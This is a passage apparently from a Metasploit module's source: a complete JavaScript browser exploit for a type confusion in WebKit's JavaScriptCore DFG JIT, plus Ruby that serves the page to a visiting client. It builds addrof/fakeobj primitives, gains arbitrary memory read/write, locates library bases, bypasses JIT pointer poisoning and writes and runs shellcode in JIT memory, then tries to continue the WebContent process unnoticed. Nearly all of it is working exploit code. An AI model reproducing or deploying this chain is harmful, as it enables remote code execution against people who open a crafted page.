// Bug: the DFG JIT does not take into account that, through the use of a
|
||||||
|
// Proxy, it is possible to run arbitrary JS code during the execution of a
|
||||||
|
// CreateThis operation. This makes it possible to change the structure of e.g.
|
||||||
|
// an argument without causing a bailout, leading to a type confusion.
|
||||||
|
//
|
||||||
|
|
||||||
|
//
|
||||||
|
// addrof primitive
|
||||||
|
//
|
||||||
|
function setupAddrof() {
|
||||||
|
function InfoLeaker(a) {
|
||||||
|
this.address = a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
var trigger = false;
|
||||||
|
var leakme = null;
|
||||||
|
var arg = null;
|
||||||
|
|
||||||
|
var handler = {
|
||||||
|
get(target, propname) {
|
||||||
|
if (trigger)
|
||||||
|
arg[0] = leakme;
|
||||||
|
return target[propname];
|
||||||
|
},
|
||||||
|
};
|
||||||
|
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
|
||||||
|
|
||||||
|
for (var i = 0; i < 100000; i++) {
|
||||||
|
new InfoLeakerProxy([1.1, 2.2, 3.3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger = true;
|
||||||
|
|
||||||
|
return function(obj) {
|
||||||
|
leakme = obj;
|
||||||
|
arg = [1.1, 1.1];
|
||||||
|
var o = new InfoLeakerProxy(arg);
|
||||||
|
return o.address;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// fakeobj primitive
|
||||||
|
//
|
||||||
|
function setupFakeobj() {
|
||||||
|
function ObjFaker(a, address) {
|
||||||
|
a[0] = address;
|
||||||
|
}
|
||||||
|
|
||||||
|
var trigger = false;
|
||||||
|
var arg = null;
|
||||||
|
|
||||||
|
var handler = {
|
||||||
|
get(target, propname) {
|
||||||
|
if (trigger)
|
||||||
|
arg[0] = {};
|
||||||
|
return target[propname];
|
||||||
|
},
|
||||||
|
};
|
||||||
|
var ObjFakerProxy = new Proxy(ObjFaker, handler);
|
||||||
|
|
||||||
|
for (var i = 0; i < 100000; i++) {
|
||||||
|
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger = true;
|
||||||
|
|
||||||
|
return function(address) {
|
||||||
|
arg = [1.1, 1.1];
|
||||||
|
var o = new ObjFakerProxy(arg, address);
|
||||||
|
return arg[0];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function makeJITCompiledFunction() {
|
||||||
|
// Some code to avoid inlining...
|
||||||
|
function target(num) {
|
||||||
|
for (var i = 2; i < num; i++) {
|
||||||
|
if (num % i === 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Force JIT compilation.
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pwn() {
|
||||||
|
// Spray Float64Array structures so that structure ID 0x1000 will
|
||||||
|
// be a Float64Array with very high probability
|
||||||
|
var structs = [];
|
||||||
|
for (var i = 0; i < 0x1000; i++) {
|
||||||
|
var a = new Float64Array(1);
|
||||||
|
a['prop' + i] = 1337;
|
||||||
|
structs.push(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup exploit primitives
|
||||||
|
var addrofOnce = setupAddrof();
|
||||||
|
var fakeobjOnce = setupFakeobj();
|
||||||
|
|
||||||
|
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
|
||||||
|
/*
|
||||||
|
var stuff = [];
|
||||||
|
for (var i = 0; i < 0x100000; i++) {
|
||||||
|
stuff.push({foo: i});
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
var float64MemView = new Float64Array(0x200);
|
||||||
|
var uint8MemView = new Uint8Array(0x1000);
|
||||||
|
|
||||||
|
// Setup container to host the fake Float64Array
|
||||||
|
var jsCellHeader = new Int64([
|
||||||
|
00, 0x10, 00, 00, // m_structureID
|
||||||
|
0x0, // m_indexingType
|
||||||
|
0x2b, // m_type
|
||||||
|
0x08, // m_flags
|
||||||
|
0x1 // m_cellState
|
||||||
|
]);
|
||||||
|
|
||||||
|
var container = {
|
||||||
|
jsCellHeader: jsCellHeader.asJSValue(),
|
||||||
|
butterfly: null,
|
||||||
|
vector: float64MemView,
|
||||||
|
length: (new Int64('0x0001000000001337')).asJSValue(),
|
||||||
|
mode: {}, // an empty object, we'll need that later
|
||||||
|
};
|
||||||
|
|
||||||
|
// Leak address and inject fake object
|
||||||
|
// RawAddr == address in float64 form
|
||||||
|
var containerRawAddr = addrofOnce(container);
|
||||||
|
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
|
||||||
|
print("[+] Fake Float64Array @ " + fakeArrayAddr);
|
||||||
|
|
||||||
|
///
|
||||||
|
/// BEGIN CRITICAL SECTION
|
||||||
|
///
|
||||||
|
/// Objects are corrupted, a GC would now crash the process.
|
||||||
|
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
|
||||||
|
///
|
||||||
|
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
|
||||||
|
while (!(driver instanceof Float64Array)) {
|
||||||
|
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
|
||||||
|
container.jsCellHeader = jsCellHeader.asJSValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
|
||||||
|
// property of the container to leak addresses.
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
var emptyObjectRawAddr = float64MemView[6];
|
||||||
|
container.mode = referenceFloat64Array;
|
||||||
|
var referenceFloat64ArrayRawAddr = float64MemView[6];
|
||||||
|
|
||||||
|
// Fixup the JSCell header of the container to make it look like an empty object.
|
||||||
|
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
|
||||||
|
driver[2] = emptyObjectRawAddr;
|
||||||
|
var header = float64MemView[0];
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
float64MemView[0] = header;
|
||||||
|
|
||||||
|
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
|
||||||
|
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
|
||||||
|
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
|
||||||
|
driver[2] = referenceFloat64ArrayRawAddr;
|
||||||
|
var header = float64MemView[0];
|
||||||
|
var length = float64MemView[3];
|
||||||
|
var mode = float64MemView[4];
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
float64MemView[2] = header;
|
||||||
|
float64MemView[3] = 0;
|
||||||
|
float64MemView[5] = length;
|
||||||
|
float64MemView[6] = mode;
|
||||||
|
|
||||||
|
// Root the container object so it isn't garbage collected.
|
||||||
|
// This will allocate a butterfly for the fake object and store a reference to the container there.
|
||||||
|
// The fake array itself is rooted by the memory object (closures).
|
||||||
|
driver.container = container;
|
||||||
|
|
||||||
|
///
|
||||||
|
/// END CRITICAL SECTION
|
||||||
|
///
|
||||||
|
/// Objects are repaired, we will now survive a GC
|
||||||
|
///
|
||||||
|
if (typeof(gc) !== 'undefined')
|
||||||
|
gc();
|
||||||
|
|
||||||
|
memory = {
|
||||||
|
read: function(addr, length) {
|
||||||
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||||
|
float64MemView[2] = addr.asDouble();
|
||||||
|
var a = new Array(length);
|
||||||
|
for (var i = 0; i < length; i++)
|
||||||
|
a[i] = uint8MemView[i];
|
||||||
|
return a;
|
||||||
|
},
|
||||||
|
|
||||||
|
write: function(addr, data) {
|
||||||
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||||
|
float64MemView[2] = addr.asDouble();
|
||||||
|
for (var i = 0; i < data.length; i++)
|
||||||
|
uint8MemView[i] = data[i];
|
||||||
|
},
|
||||||
|
|
||||||
|
read8: function(addr) {
|
||||||
|
driver[2] = addr.asDouble();
|
||||||
|
return Int64.fromDouble(float64MemView[0]);
|
||||||
|
},
|
||||||
|
|
||||||
|
write8: function(addr, value) {
|
||||||
|
driver[2] = addr.asDouble();
|
||||||
|
float64MemView[0] = value.asDouble();
|
||||||
|
},
|
||||||
|
|
||||||
|
addrof: function(obj) {
|
||||||
|
float64MemView.leakme = obj;
|
||||||
|
var butterfly = Int64.fromDouble(driver[1]);
|
||||||
|
return memory.read8(Sub(butterfly, 0x10));
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
print("[+] Got stable memory read/write!");
|
||||||
|
|
||||||
|
// Find binary base
|
||||||
|
var funcAddr = memory.addrof(Math.sin);
|
||||||
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||||
|
var codeAddr = memory.read8(Add(executableAddr, 24));
|
||||||
|
var vtabAddr = memory.read8(codeAddr);
|
||||||
|
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
|
||||||
|
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
|
||||||
|
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
|
||||||
|
print("[*] JavaScriptCore.dylib @ " + jscBase);
|
||||||
|
|
||||||
|
var dyldStubLoaderAddr = memory.read8(jscBase);
|
||||||
|
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
|
||||||
|
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
|
||||||
|
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
|
||||||
|
print("[*] dyld.dylib @ " + dyldBase);
|
||||||
|
print("[*] libsystem_c.dylib @ " + libCBase);
|
||||||
|
|
||||||
|
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
|
||||||
|
print("[*] confstr @ " + confstrAddr);
|
||||||
|
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
|
||||||
|
print("[*] dlopen @ " + dlopenAddr);
|
||||||
|
|
||||||
|
// Patching shellcode
|
||||||
|
var stage2Addr = memory.addrof(stage2);
|
||||||
|
stage2Addr = memory.read8(Add(stage2Addr, 16));
|
||||||
|
print("[*] Stage 2 payload @ " + stage2Addr);
|
||||||
|
|
||||||
|
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
|
||||||
|
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
|
||||||
|
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
|
||||||
|
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
|
||||||
|
print("[+] Shellcode patched");
|
||||||
|
|
||||||
|
// Leak JITCode pointer poison value
|
||||||
|
var poison_addr = Add(jscBase, 305152);
|
||||||
|
print("[*] Poison value @ " + poison_addr);
|
||||||
|
var poison = memory.read8(poison_addr);
|
||||||
|
print("[*] Poison value: " + poison);
|
||||||
|
|
||||||
|
// Shellcode
|
||||||
|
var func = makeJITCompiledFunction();
|
||||||
|
var funcAddr = memory.addrof(func);
|
||||||
|
print("[+] Shellcode function object @ " + funcAddr);
|
||||||
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||||
|
print("[+] Executable instance @ " + executableAddr);
|
||||||
|
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
|
||||||
|
print("[+] JITCode instance @ " + jitCodeAddr);
|
||||||
|
|
||||||
|
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
|
||||||
|
var codeAddr = Xor(codeAddrPoisoned, poison);
|
||||||
|
print("[+] RWX memory @ " + codeAddr.toString());
|
||||||
|
print("[+] Writing shellcode...");
|
||||||
|
var origCode = memory.read(codeAddr, stage1.length);
|
||||||
|
memory.write(codeAddr, stage1);
|
||||||
|
|
||||||
|
print("[!] Jumping into shellcode...");
|
||||||
|
var res = func();
|
||||||
|
if (res === 0) {
|
||||||
|
print("[+] Shellcode executed sucessfully!");
|
||||||
|
} else {
|
||||||
|
print("[-] Shellcode failed to execute: error " + res);
|
||||||
|
}
|
||||||
|
|
||||||
|
memory.write(codeAddr, origCode);
|
||||||
|
print("[*] Restored previous JIT code");
|
||||||
|
|
||||||
|
print("[+] We are done here, continuing WebContent process as if nothing happened =)");
|
||||||
|
if (typeof(gc) !== 'undefined')
|
||||||
|
gc();
|
||||||
|
}
|
||||||
|
|
||||||
|
ready.then(function() {
|
||||||
|
try {
|
||||||
|
pwn();
|
||||||
|
} catch (e) {
|
||||||
|
print("[-] Exception caught: " + e);
|
||||||
|
}
|
||||||
|
}).catch(function(err) {
|
||||||
|
print("[-] Initializatin failed");
|
||||||
|
});
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
^
|
||||||
|
unless datastore['DEBUG_EXPLOIT']
|
||||||
|
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
|
||||||
|
end
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue